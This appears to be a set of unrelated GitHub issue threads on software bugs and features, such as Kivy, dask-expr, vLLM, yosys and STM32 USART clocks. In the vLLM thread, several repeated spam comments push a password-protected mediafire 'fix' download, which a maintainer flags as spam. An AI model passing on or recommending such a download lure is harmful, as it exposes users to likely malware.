Hyphen separator for accents?

Looking through the glyph list, I wonder if it's worth adding a hyphen to separate the accent from the base glyph, e.g. Schwa-dieresis rather than Schwadieresis?
aacute and friends are relatively easy to discern (and I think that we're used to setting that format), but the non-latin letters that have names spelled out get much harder to parse.

Keep in mind that familiarity with existing names does not make them necessarily better. Part of the exercise is to see if there are more consistent ways to solve all of them.
Adding the script to disambiguate a from a-cyr is a possibility but it adds a latin-centric logic. The names I've seen from Glyphs appear to use the hyphen exclusively for these kinds of script tags.
Eclosedreversedsmallopen there is not very much to improve on it?

Do you know if it is possible to include a file from a different repository?

There are too many accents to do this in a consistent and reliable manner. We do implement hyphens when adding script extensions.

Do you know if it is possible to include a file from a different repository?

http://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging#_subtree_merge


Bug fix: Change name field constraints

Names (particularly in singapore), can contain special characters such as (),/-@
Additionally, names should not contain numbers.
As such, I believe that the constraints should be altered to fit this.
Also added a 50 character limit to the field

LGTM


SDL unable to load image

I'm on Windows 10 using an Anaconda conda env. All dependencies seem to install fine, but I get the following when trying to run python main.py.
The file does exist. I checked that first.
(kivy-testing) C:\Users\dan\Projects\kivy-designer>python main.py
[INFO              ] [Logger      ] Record log in C:\Users\dan.kivy\logs\kivy_16-09-19_8.txt
[INFO              ] [Kivy        ] v1.9.1
[INFO              ] [Python      ] v2.7.12 | packaged by conda-forge | (default, Sep  8 2016, 14:46:05) [MSC v.1500 64 bit (AMD64)]
[INFO              ] [Factory     ] 179 symbols loaded
[INFO              ] [Image       ] Providers: img_tex, img_dds, img_gif, img_sdl2 (img_pil, img_ffpyplayer ignored)
[INFO              ] [Text        ] Provider: sdl2
[INFO              ] [OSC         ] using  for socket
[INFO              ] [Window      ] Provider: sdl2
[INFO              ] [GL          ] GLEW initialization succeeded
[INFO              ] [GL          ] OpenGL version <4.3.0 - Build <IP_ADDRESS>79>
[INFO              ] [GL          ] OpenGL vendor
[INFO              ] [GL          ] OpenGL renderer <Intel(R) HD Graphics 4600>
[INFO              ] [GL          ] OpenGL parsed version: 4, 3
[INFO              ] [GL          ] Shading version <4.30 - Build <IP_ADDRESS>79>
[INFO              ] [GL          ] Texture max size <16384>
[INFO              ] [GL          ] Texture max units <32>
[INFO              ] [Shader      ] fragment shader: <WARNING: 0:6: '' :  #version directive missing>
[INFO              ] [Shader      ] vertex shader: <WARNING: 0:6: '' :  #version directive missing>
[WARNING           ] [Image       ] Unable to load image <C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\data\glsl\default.png>
[CRITICAL          ] [Window      ] Unable to find any valuable Window provider at all!
sdl2 - Exception: SDL2: Unable to load image
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core_init_.py", line 67, in core_select_lib
cls = cls()
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\window\window_sdl2.py", line 138, in init
super(WindowSDL, self).init()
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\window_init_.py", line 722, in init
self.create_window()
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\window\window_sdl2.py", line 255, in create_window
super(WindowSDL, self).create_window()
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\window_init_.py", line 897, in create_window
self.render_context = RenderContext()
File "kivy\graphics\instructions.pyx", line 756, in kivy.graphics.instructions.RenderContext.init (kivy\graphics\instructions.c:10729)
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\image_init_.py", line 512, in init
self.filename = arg
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\image_init_.py", line 700, in _set_filename
mipmap=self.mipmap, nocache=self.nocache)
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\image_init.py", line 430, in load
im = loader(filename, **kwargs)
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\image_init.py", line 198, in init
self._data = self.load(filename)
File "C:\Users\dan\Anaconda2\envs\kivy-testing\lib\site-packages\kivy\core\image\img_sdl2.py", line 42, in load
raise Exception('SDL2: Unable to load image')
[CRITICAL          ] [App         ] Unable to get a Window, abort.
Exception SystemExit: 1 in 'kivy.properties.dpi2px' ignored
[INFO              ] [Clipboard   ] Provider: winctypes
[CRITICAL          ] [App         ] Unable to get a Window, abort.

This dialog also pops up.

Hi, there is something wrong with your kivy installation, or graphic cards driver. Please, check the installation docs https://kivy.org/docs/installation/installation-windows.html and come to #kivy on IRC if the problem persists.


We can't properly deal with delayed inputs

Every argument could theoretically be a delayed object, similar to how every argument could be a dask-expr collection, we can't deal with this yet since we never check for them
I created a very naive implementation of a delayed expression _Delayed to capture some things, but we should think critically about it before moving ahead with this issue.
I suggest that we unpack delayed object similar to what we do with collections, in the constructor of Expr

This introduced some big performance regressions in our framework that makes heavy use of @dask.delayed.
We're getting around it for now by using the legacy dataframe directly.

Do you have a reproducer? I suspect that this is actually something different that we can address easier

Simple code snippet.py:
import numpy as np
import dask.dataframe as dd
import pandas as pd

if __name__ == "__main__":
    a = dd.from_dict({"a": np.arange(300_000)}, npartitions=30_000)
    parts = a.to_delayed()
    dd.from_delayed(
        parts[0], meta=pd.DataFrame.from_dict({"a": pd.Series(dtype=np.int64)})
    ).compute()

Starting from a fresh virtual environment:
>> pip install numpy pandas 'dask<=2024.2.0'
>> time python snippet.py

real	0m1.094s
user	0m1.435s
sys	0m1.383s

>> pip install 'dask>=2024.3.1'
>> time python snippet.py

real	0m1.127s
user	0m1.507s
sys	0m1.360s

>> pip install dask-expr
>> time python snippet.py

real	0m48.497s
user	0m48.845s
sys	0m1.381s

Thx, that's helpful
put up a fix here: https://github.com/dask/dask-expr/pull/1048

I suspect there is more than one operation that is being slowed by the addition of dask-expr. Using a similar reproducer as before:
    a = dd.from_dict({"a": np.arange(300_000)}, npartitions=300_000)
    parts = a.to_delayed(optimize_graph=False)

3x slowdown, unchanged by #1048
>> pip install numpy pandas 'dask<=2024.2.0'
>> time python snippet.py

real	0m5.882s
user	0m7.840s
sys	0m1.521s

>> pip install 'dask>=2024.3.1'
>> time python snippet.py

real	0m5.936s
user	0m7.882s
sys	0m1.554s

>> pip install dask-expr
Successfully installed dask-expr-1.0.14
>> time python snippet.py

real	0m20.619s
user	0m22.504s
sys	0m1.365s

>> pip install <dask-expr from source to include PR #1048>
>> time python snippet.py

real	0m20.285s
user	0m22.208s
sys	0m1.568s


[Bug]: After VLLM successfully starts the service, a prompt will appear during the first inference and the inference cannot proceed normally

Your current environment

The output of `python3 -m vllm.entrypoints.openai.api_server --model /data0/models/405B-instruct-FP8 --swap-space 16 --tensor-parallel-size 8 --served-model-name llama-3.1-405B --host <IP_ADDRESS> --port 8081 --max-num-seqs 256 --enforce-eager`
INFO 08-27 10:47:25 logger.py:36] Received request cmpl-cbb8382b602e4d39b88f0c5f955da4f1-0: prompt: '你是谁？', params: SamplingParams(n=1, best_of=1, presence_penalty=0.0, frequency_penalty=0.0, repetition_penalty=1.0, temperature=0.0, top_p=1.0, top_k=-1, min_p=0.0, seed=None, use_beam_search=False, length_penalty=1.0, early_stopping=False, stop=[], stop_token_ids=[], include_stop_str_in_output=False, ignore_eos=False, max_tokens=100, min_tokens=0, logprobs=None, prompt_logprobs=None, skip_special_tokens=True, spaces_between_special_tokens=True, truncate_prompt_tokens=None), prompt_token_ids: [128000, 57668, 21043, 112471, 11571], lora_request: None, prompt_adapter_request: None.
INFO 08-27 10:47:25 async_llm_engine.py:174] Added request cmpl-cbb8382b602e4d39b88f0c5f955da4f1-0.
/root/miniconda3/envs/vllm-0.5.4/lib/python3.11/multiprocessing/resource_tracker.py:254: UserWarning: resource_tracker: There appear to be 1 leaked shared_memory objects to clean up at shutdown
  warnings.warn('resource_tracker: There appear to be %d '

🐛 Describe the bug
No code. Just starting the service
nvidia-smi result is
NVIDIA-SMI 535.161.07             Driver Version: 535.161.07   CUDA Version: 12.2
uname -a  result is
Linux VM-0-16-centos 5.4.119-19.0009.28 #1 SMP Thu May 18 10:37:10 CST 2023 x86_64 x86_64 x86_64 GNU/Linux
linux version is H20
Before submitting a new issue...

[X] Make sure you already searched for relevant issues, and asked the chatbot living at the bottom right corner of the documentation page, which can answer lots of frequently asked questions.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a check in install to path and select "gcc."

May I ask where you saw it? What I need is a solution for the Linux version

to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a check in install to path and select "gcc."

May I ask where you saw it? What I need is a solution for the Linux version

These are spam comments, please ignore

Solved, the underlying Nvidia-Cublabs-CU12 dependency is incorrect.
pip3 install nvidia-cublas-cu12==<IP_ADDRESS> -i  https://pypi.tuna.tsinghua.edu.cn/simple

Solved, the underlying Nvidia-Cublabs-CU12 dependency is incorrect. pip3 install nvidia-cublas-cu12==<IP_ADDRESS> -i https://pypi.tuna.tsinghua.edu.cn/simple

Hi Fu, how did you find out about the version mismatch?


TestPage: Severity is null

Describe the bug
(A clear and concise description of what the bug is.)
Set up
version: ODD Platform v.v0.6.0-beta-2
add tests to ODD and setup severity , for instance "Critical"
Steps to Reproduce

Open the test page  (for instance , {odd_host}/dataentities/{test_id}/overview
Check Severity
Severity is null

Expected behavior
Severity is "Critical"

According to @DementevNikita we shouldn't display severity at this page.


Sync published with master

Deploy preview for docsdocker ready!
Built with commit 578fe4b1e3d009d2a45532b9dbe5aa7ee7a37ac3
https://deploy-preview-9145--docsdocker.netlify.com

That's it. Thanks @DawnWood-Docker.

@Usha LGTM Olly's commit is here as well

nice catch


Fix typo to trim .github folder

What type of PR is this?
/kind bug
What this PR does / why we need it:
Typo fix.

@sczyh30 fix a .github folder typo, please review.

Thanks!


replace es2015 preset with env

referring to this tweet https://twitter.com/left_pad/status/837443603379204096

Thank you! Would you mind updating this commit to remove ES2015 preset? Another PR was just merged in that added env.

I got this rebased in. Thanks!


[connectivity] add support for windows and linux, to work with flutter for desktop

add support for windows and linux, to work with flutter for desktop
This will make development for android and ios much easier, so I can test the application by compiling directly to my machine without needing an emulator to test the application

See https://pub.dev/packages/connectivity#deprecation-notice


libomxil-bellagio: fix build failures against -fno-common compiler

On gcc-10 (and gcc-9 -fno-common) build fails as:
../libtool --tag=CC   --mode=link gcc ... -o libomxil-bellagio.la ...
ld: .libs/libomxil_bellagio_la-omx_reference_resource_manager.o:(.bss+0x18):
  multiple definition of `globalIndex';
    .libs/libomxil_bellagio_la-st_static_component_loader.o:(.bss+0x358):
      first defined here

gcc-10 will change the default from -fcommon to fno-common:
https://gcc.gnu.org/PR85678.
The error also happens if CFLAGS=-fno-common passed explicitly.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

gcc-10 will change the default

Nit comment: we use gcc 10 by default already, but it was decided to put -fcommon into the default flags for the time being, because this issue was far common.
Do I understand it right that this patch is your own and upstream remains unfixed?  If so, it would be nice to notify them at least, though I believe this simple PR doesn't need to wait for that (I write primarily C for work).

Sounds good. Proposed patch upstream as https://sourceforge.net/p/omxil/patches/7/.
Tweaked commit comment to be clearer about upstream gcc having a problem.


Over-eager inference of distributed RAM for synth_xilinx

Steps to reproduce the issue
Unpacked arrays (even a 1-bit one) is inferred into distributed RAM.
On ca469473.
./yosys -p synth_xilinx dram.v -DUNPACKED
module dram(input [3:0] i, output [4:0] o);
`ifdef UNPACKED
reg val [0:0];
`else
reg [0:0] val;
`endif
initial val[0] = 1'h1;
assign o = i + val[0];
endmodule

Expected behavior
Result of: ./yosys -p synth_xilinx dram.v
   Number of cells:                 10
     LUT1                            1
     MUXCY                           4
     XORCY                           5

Actual behavior
   Number of cells:                 12
     LUT2                            2
     MUXCY                           4
     RAM64X1D                        1
     XORCY                           5

Seems that read_verilog parses this as a $memrd cell right out of the gate... show.pdf

I don't think the problem is the $memrd, rather the thresholds in the DRAM mapping rules

I don't think the problem is the $memrd, rather the thresholds in the DRAM mapping rules

Correctamundo. It appears there is no min bits or min efficiency in the drams.txt rule book...


read_gas_concentration() does not support SO2 sensor, temperature correction different from C++ library

This was originally brought up in issue #3, which was closed as fixed by 1c721dd but doesn't appear to be.
read_gas_concentration() did not receive any of the changes that were applied to analysis_all_data() for the SO2 and HCL sensors.
At the risk of polluting a ticket and raising two separate issues at once, the temperature correction in the python version also has significant differences from the C++ file. In a lot of cases, the temperature thresholds defining each correction are different, and in some places the calculation for the correction is also different. Finally, some of the temperature checks that were added in 1c721dd don't make a lot of sense.
For example, the SO2 sensor gets temperature checks for if(((temp)>-40) and ((temp)>=40)): and then elif((temp > 40) and (temp >= 60)). So, if the temperature is greater than -40C and >= 40C do a correction, else if over 40C and over 60?
I worked on some of these in a forked version and submitted a pull request (#6) this morning. It also makes a bunch of other changes to try to reduce code duplication, and I ended up making the temperature correction in the python module the same as the C++ version on the basis that one of them has to be correct, and the tutorial on the wiki is more arduino-focused. Make of it what you will.

Can you find out for yourself, what's wrong with our firmware?


USART1 connects to PCLK1.

The clock tree figures of RM0366, RM0365, RM0364, RM0316, and RM0313 show that the default setting of RCC::CFGR3::USART1SW will, for some variants, make the port use PCLK1 for reference, and not PCLK2 where port is resident.
The affected variants are stm32f3xxx4/6/8, except stm32f37xxx.
This is consistent with my observations on stm32f344r8, which fails to produce the correct baud rate:

If sysclk is configured above 32 MHz and both pclk are untouched (pclk1 is then divided, but pclk2 is not), or
If the pclk's are specifically configured differently.

This might be related to #109, although I don't see why the discussed code snippet should cause different pclk's.

This is consistent with my observations on stm32f344r8, which fails to produce the correct baud rate:

If sysclk is configured above 32 MHz and both pclk are untouched (pclk1 is then divided, but pclk2 is not), or
If the pclk's are specifically configured differently.

Thanks! I'll take a deeper look later today :)

As this is a bugfix effecting v0.7 would you like to add a CHANGELOG entry?

I didn't mention #109 in the changelog, because I'm unsure whether this is a fix to that bug.

I didn't mention #109 in the changelog, because I'm unsure whether this is a fix to that bug.

That's okay. I'll have to invest a bit more time on that issue anyway, and as it might not be related, let's ignore it for now.

If sysclk is configured above 32 MHz and both pclk are untouched (pclk1 is then divided, but pclk2 is not), or

That reminds me, that I probably should change the processor clock to 32 MHz or above instead of the default 8 Mhz for the uart tests

I have not run a local test to verify this behavior nor check the erroneous old behavior, but I'll trust you and the datasheet on that one.
Thanks for the catch and this contribution. Much appreciated! :+1:


Conda packages for odbc drivers

Hi!
There is an ongoing PR https://github.com/ibis-project/ibis/pull/999 about integrating turbodbc in ibis. To make installing odbc drivers easier, I've suggested to create conda-forge packages.
However I'm familiar with conda, but not with installing drivers.
What do You think about making odbc drivers available through conda forge?
Most of the time it's about downloading a prebuilt library, am I right?
Would You help us creating/maintaining such packages?

Hi Krisztián!
Thanks for your patience, I was on vacation and could not reply earlier. Distributing ODBC drivers via conda sounds like a great idea. This would also solve issues around different versions of unixodbc/iodbc on the host system and the conda environment.
ODBC drivers are usually distributed via one of the following methods:

Packages that come with the operating system. Examples: MySQL and PostgreSQL drivers on most Linux systems, MSSQL ODBC driver on Windows
Installers/packages that contain ODBC drivers for installation with/without adminstrator rights. Examples: MSSQL ODBC drivers on Linux
Source packages that contain code for compilation with your system's ODBC headers. Examples: Many open source DBs, including MySQL, PostgreSQL, ...

Maintaining conda packages may be a legal hassle depending on the driver's license. The best solution would be to convince as many package maintainers/companies as possible that providing Conda packages for their driver is a good idea.
I could try to convince the Exasol company to supply their Exasolution ODBC drivers as Conda packages, and I would be willing to invest limited time in that. For other drivers, I am afraid I will not be able to justify the time investment to my employer, and I will not be sufficiently motivated to do it in my spare time (seeing I do not use these databases or can use the existing packages).
I am sorry for not providing the answer you may have hoped for.


Fix for matplotlib inline issue fixes #280

Found the issue:
In the past, in order to ensure that a plot is showed in a non-interactive shell, I had put a plt.show command in the common.plot_style function which is called every time a tree, neuron, soma is craeted.
In the case of a single tree this works like a charm. However, when a soma and multiple trees are created for a neuron plot, the plt.show() is called multiple times, which triggers this multple plot behavior in the non-interactive shell of the inline backend.
To fix this I introduced a final flag that restricts the command show until the end of all plots, when it is called only once. This fixes all related problems with inline and python shell displays.

Current coverage is 100.00%

Merging #284 into master will not affect coverage as of 904a33b

@@            master    #284   diff @@
======================================
  Files           42      42
  Stmts         1819    1825     +6
  Branches         0       0
  Methods
======================================
+ Hit           1819    1825     +6
  Partial          0       0
  Missed           0       0

Review entire Coverage Diff as of 904a33b

Powered by Codecov. Updated on successful CI builds.


Internal server error bug when 400+ requests

Context

Log: (psycopg2.OperationalError) connection to server at "<IP_ADDRESS>", port 5432 failed: FATAL:  remaining connection slots are reserved for non-replication superuser connections
Connection metrics from GCP at the time of the issue

Possible Solutions

Load API test

Max_connection is already set to 100.

https://github.com/MobilityData/mobility-feed-api/issues/219 We should optimize the code to use a global session.

the Locust web UI does not provide a feature to download API responses. The purpose of Locust is to simulate users and load test your application, not to inspect individual API responses.

Active connection is 4 after using a global session (Ramping to 2000 users at a rate of 100.00 per second). It was 98 prior to the change. Details is shared in the Load Test Action Plan.

Further Steps of Mobility Database API Load Test:

Check if the request/response is correct: You need to ensure that the request you're sending in your load test is correctly formatted and that the server's response is as expected. This might involve checking the request headers, body, and URL, as well as the status code and body of the server's response.

Adjust rate limit to prevent 429 Too Many Requests: This status code indicates that the user has sent too many requests in a given amount of time ("rate limiting"). The response representations SHOULD include details explaining the condition, and MAY include a Retry-After header indicating how long to wait before making a new request. This is used in rate limiting scenarios and is part of HTTP/1.1 standard: If you're getting 429 errors, it means you're sending requests too quickly. You can adjust the rate of requests in your load test by changing the wait_time attribute of your HttpUser class, or by reducing the number of users or spawn rate when you run the test.

HTTP status code 403 means "Forbidden". This status code indicates that the client does not have the necessary permissions to access the requested resource: If you're getting 403 errors, it means the server is rejecting your requests due to a lack of permission. You might need to include an Authorization header with a valid token in your requests, or ensure that the user associated with that token has the necessary permissions on the server.


distinctUntilChanged  typing is not correct when second parameter is passed but first is null or undefined

When strictNullChecks TS compiler option is true distinctUntilChanged throws typing error when only the second parameter is specified. However in the actual implementation both parameters are optional so the code will work with strictNullChecks false.
RxJS version: 5.4.2
Code to reproduce:
// make sure you use typescript ^2.2.0 and `strictNullChecks` option is true
Observable.timer(0, 100)
    .map(i => ({ value: i }))
    .distinctUntilChanged(null, (state: { value: number }) => state.value);

Expected behavior: Code compiles without any errors
Actual behavior: The below TS compiler error
[ts] Argument of type 'null' is not assignable to parameter of type '(x: number, y: number) => boolean'.

Additional information: It is possible to make it work if we force the type not to be null (.distinctUntilChanged(null!, (state: { value: number }) => state.value);) but ideally the typing should be correct.

This is basically dupe of https://github.com/ReactiveX/rxjs/issues/2447. (operator's different, but crux's identical).


scala-libary jar not included in class path

steps
sbt version: 1.3.2
problem
In previous versions of sbt, the scala-libary jar has been accessible through the class loader, however, now it is not.
getClass.getClassLoader match {
      case urlClassLoader: net.URLClassLoader => urlClassLoader.getURLs.map(u => new File(u.toURI).getCanonicalPath).toList
}

That specifically does not have the scala-libary jar in 1.3.2, works in 1.2.8 and was previously on 0.13 when it was working. I tried turning off coursier and adding the library manually to list of dependencies, but that did not work.
expectation
class loader has the scala-libary jars
notes

It is not safe to assume much about the layout of the sbt classloaders. To access the scala library, you will need to traverse the parents of the classloader to find the loader that has the scala library jar in it.


Simplify use of MessageBoxData

The C version of MessageBoxData has a button pointer and a button length. In Go we have a slice of buttons and an extra button length which is unnecessary because in Go we know a slice's length. I removed the extra integer. This makes the code easier to use. It is not Go-like to provide the length of a slice separately. This is error-prone.
Additionally I changed the comments around, leaving only the relevant information, removing some noise.

Thanks @gonutz! I guess this should be fine seeing we don't require it to be ABI-compatible. Merged!


Evaluating a specific checkpoint

hey,
first of all thank you very much for this amazing library!
I was using it to finetune a model, and I am interested in evaluating one of the saved checkpoints on my testset.
Is there an easy way to do it?
Thanks.

If you want to evaluate a saved checkpoint, it is tricky. Evaluating the language model (which is saved at the end of the training) is easier and can be done like any other auto model on HF. Question, is do you want to evaluate via RL4LMs or externally?

@rajcscw I was thinking of doing it via RL4LMs, but if it is easier to do it externally, I don't mind.

So the easiest way to do is load up the entire checkpoint (which includes trainer, policy state etc) and run the evaluation via
train_text_generation.py. This can be done as follows:

Create a datapool of your evaluation dataset
Register it and adapt the config accordingly
In train_text_generation.py set the base_path_to_store_results, project name, experiment_name so that it loads the latest checkpoint correctly. Note that: checkpoints folder must be present in base_path_to_store_results/project_name/experiment_name.
Set train_evaluation/n_iters to 0 in the config file so that there is no further training of the model.

After doing this, on running train_text_generation.py, you will see the metrics on console and also saved on the jsons in the experiment folder.

@rajcscw great, I will give it a go.
Thank you!

@rajcscw What would be the way for doing this with huggingface's transformers library? I mean, if it's easy to load models from transformers to run do reinforcement learning, then it should not be so tricky to load the saved checkpoints as transformer models, with .from_pretrained()... I would expect that unused weights are ignored (value head etc) and that the rest of the weights belonging to the original model are indeed loaded. However, I cannot make the from_pretrained() call work with the saved checkpoints. What am I missing? Thank you in advance :heart: :smile:


Support Astro 3

WIP branch: https://github.com/bluwy/whyframe/tree/astro-3
I can't quite figure out the perfect way to support its new JSX support. In the branch, I updated docs/astro.config.mjs to support this new change, but it's a bit ugly.
React is hard to support now because it needs the preamble code in the client-side inside the iframe. Astro only adds the preamble code if there's an island in the frame page.

Haven't find the time to continue this, but feel free if you'd like too. The only thing missing is to get this preamble code injected into the iframe's html, through the @whyframe/astro plugin, for dev only.
The plugin could use the whyframe:app module and the transform hook to inject this preamble code to the page. However, I haven't tried this yet and whether this could be done cleanly. But at least copying the preamble code for now could be fine though.


ChannelPool Should create new channels in parallel.

Creating Channels in parallel is faster than creating them serially.

This didn't have the expected performance improvements.  Closing this.


Connection refused

I try to connect my android tv box using ADB - Android Debug Bridge in hass.io but i get the folloing error on log file
[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[s6-init] ensuring user provided files have correct perms...exited 0.
[fix-attrs.d] applying ownership & permissions fixes...
[fix-attrs.d] done.
[cont-init.d] executing container initialization scripts...
[cont-init.d] 00-banner.sh: executing...
Hass.io Add-on: ADB - Android Debug Bridge
The Android Debug Bridge server program
Add-on version: 0.5.2
You are running the latest version of this add-on.
System: HassOS 2.12  (aarch64 / raspberrypi3-64)
Home Assistant version: 0.98.2
Supervisor version: 185
Please, share the above information when looking for help
or support in, e.g., GitHub, forums or the Discord chat.
[cont-init.d] 00-banner.sh: exited 0.
[cont-init.d] 01-log-level.sh: executing...
[cont-init.d] 01-log-level.sh: exited 0.
[cont-init.d] adb.sh: executing...
[cont-init.d] adb.sh: exited 0.
[cont-init.d] done.
[services.d] starting services
[services.d] done.
[22:10:59] INFO: Starting the Android Debug Bridge server...
[22:10:59] INFO: Connecting to device: <IP_ADDRESS>...
unable to connect to <IP_ADDRESS>:5555: Connection refused
[22:12:30] INFO: Connecting to device: <IP_ADDRESS>...
unable to connect to <IP_ADDRESS>:5555: Connection refused
[22:14:00] INFO: Connecting to device: <IP_ADDRESS>...
unable to connect to <IP_ADDRESS>:5555: Connection refused
[22:15:30] INFO: Connecting to device: <IP_ADDRESS>...
unable to connect to <IP_ADDRESS>:5555: Connection refused
any Idea, on what i am doing wrong?

Did you follow the documentation and enable Network Debugging on the device at <IP_ADDRESS>?

Hi Paul,
thanks for the replay about my issue,
I have enable the developer option menu,but in the debugging section there is no Network Debugging option, the only one that is available is the USB debugging, but a guess this is only if you connect the device via USB, so maybe i am not able to use this feature on my android TV box device.

Unfortunately it looks like vendors can remove the Network Debugging option, so there is really not much we can do for you in the addon.

Thinks Paul, for the assistant,


[Improve](dynamic schema) support filtering invalid data

Support dynamic schema to filter illegal data.
Expand the regular expression for ColumnName to support more column names.
Be compatible with PropertyAnalyzer and support legacy tables.
Default disable parse multi dimenssion array, since some bug unresolved

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall

run buildall

run buildall


regressor clean up

The pull request is ready to be merged.
The details of the pull request:
Correct all the place using accuracy.

Pull Request Test Coverage Report for Build 447

10 of 11 (90.91%)  changed or added relevant lines in 5 files are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage decreased (-0.07%) to 95.325%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

autokeras/utils.py
3
4
75.0%

Files with Coverage Reduction
New Missed Lines
%

autokeras/net_transformer.py
1
98.63%

Totals

Change from base Build 444:
-0.07%

Covered Lines:
1611

Relevant Lines:
1690

💛  - Coveralls


Print: Entry, ":CFBundleIdentifier", Does Not Exist

Hi, I had this error:

 **BUILD FAILED**
The following commands produced analyzer issues:
	Analyze /Volumes/HD2/react/MyProject/node_modules/react-native-macos/ReactCommon/yoga/yoga/Yoga.c
	Analyze /Volumes/HD2/react/MyProject/node_modules/react-native-macos/ReactCommon/yoga/yoga/YGNodeList.c
(2 commands with analyzer issues)
The following build commands failed:
CompileC /Volumes/HD2/react/MyProject/macos/unique/React.build/Debug/third-party.build/Objects-normal/x86_64/Bits.o /Volumes/HD2/react/MyProject/node_modules/react-native-macos/third-party/folly-2<IP_ADDRESS>/folly/Bits.cpp normal x86_64 c++ com.apple.compilers.llvm.clang.1_0.compiler
(1 failure)
Launching build/Build/Products/Debug/MyProject.app
The file /Volumes/HD2/react/MyProject/macos/build/Build/Products/Debug/MyProject.app does not exist.
Print: Entry, ":CFBundleIdentifier", Does Not Exist
Command failed: /usr/libexec/PlistBuddy -c Print:CFBundleIdentifier build/Build/Products/Debug/MyProject.app/Contents/Info.plist
Print: Entry, ":CFBundleIdentifier", Does Not Exist

How fix this problem?

Could you please share more information if it's still relevant to you? (Or someone else who stuck into this)?
What's the macOS version, have you tried to build RN for iOS, have you tried to build it with Xcode, etc.

What's the macOS version:
macOS High Sierra
have you tried to build RN for iOS:
yes
have you tried to build it with Xcode, etc:
yes, I tried buld with Xcode 9

Try this @kholmatov https://github.com/nodejs/node-gyp/issues/569#issuecomment-94917337


Dynamically pick push servers

Is there any Lua support within this RTMP module that would allow me to dynamically decide which push servers to roll too based off a datastore like Redis?

The best idea is using on_publish for dynamic push take a look at https://github.com/arut/nginx-rtmp-module/wiki/Directives#on_publish

Awesome, let me try this out. Thanks.

How can I push to 2 or more servers at the same time ?
As I know, on_publish can redirect to another rtmp url, not 2 or more.

@boygiandi
In fact, nginx-rtmp-module supplies the similar feature as you want, 'rtmp_auto_push on;' directive on Unix-like platforms when multi-processes mode used allows streams pushed to a process to be relayed to other processes, this is done through the unix domain sockets locally.
So, you can write a new feature that allows relaying streams to 2 or more servers depending on IPs or server names (then transfer streams through the normal sockets).

@ldelossa did you get anywhere with this? Using on_publish is limited as it means we can dynamically decide where to push once the stream has started - the on_update event does not respond to a 3** response code in the same way as on_publish


CommonWL

Hi! More of a question than a issue. Currently we are modelling our data processing workflow using common workflow language (CommonWL, CWL). We hope this gives us the most portability between the various workflow management tools available. I can't really find any work or talk about integrating pachyderm with CWL. Has there ever been any thoughts about doing this? How likely is it that a 'standard' like CWL would get adopted for pachyderm?
Thanks!

FYI: http://www.commonwl.org
Chat @ https://gitter.im/common-workflow-language/common-workflow-language

CWL is something that's been on our radar for a while and is definitely something we're interested in exploring. A few questions I have:

you can of course run CWL workflows on Pachyderm by packaging up the runtime into a container and running it like that. Is that appealing as a stopgap measure or does that have too many drawbacks to be useful?
One obvious drawback is that this wouldn't be distributed. How do CWL implementations distribute the workload? Can they distribute individual steps in the workflow or just the different nodes of the workflow?
Would running a side cluster of one of the implementations on their site be an appealing way to run CWL workloads? This is a patterns that's emerging in Pachyderm right now for incorporating other protocols into pachyderm pipelines.

Cool, glad to hear it.

FYI: CWL is a standard, not a runtime. True, one could use any CWL implementation inside a container treating the entire workflow as a single step, but then you'd lose granularity.
CWL implementations distribute their workload according to implementation specific heuristics as they may be running on a single node, high throughput computing cluster (grid), or one or more cloud providers. The CWL model is rich enough to provide them with lots of information to make these choices. Some implementations will implement CWL's scatter/gather across nodes, yes.
I'll leave this for @gijzelaerr and others to answer, but from what I can see there should be enough information in CWL descriptions to convert into Pachyderm workflows.

Let me know if you'd like a real time video chat, I'd be happy to go into more depth and share about how various projects have implemented CWL support so far.

Just to chime in with my 5c: Based on my experimentation with the CWL format, and my breif reading of Pachyderm workflow definition formats, I have the impression that they are actually very similar.
I would even think just a converter from CWL yaml/json to Pachyderm .yaml, would not be very hard at all.
CWL is also doing the definition of inputs / outputs (in-ports / out-ports in some contexts) in a more re-usable and composable way also, so I think pachy could learn a thing or two about for any next version of the workflow spec format (unless that will be CWL directly :) ).

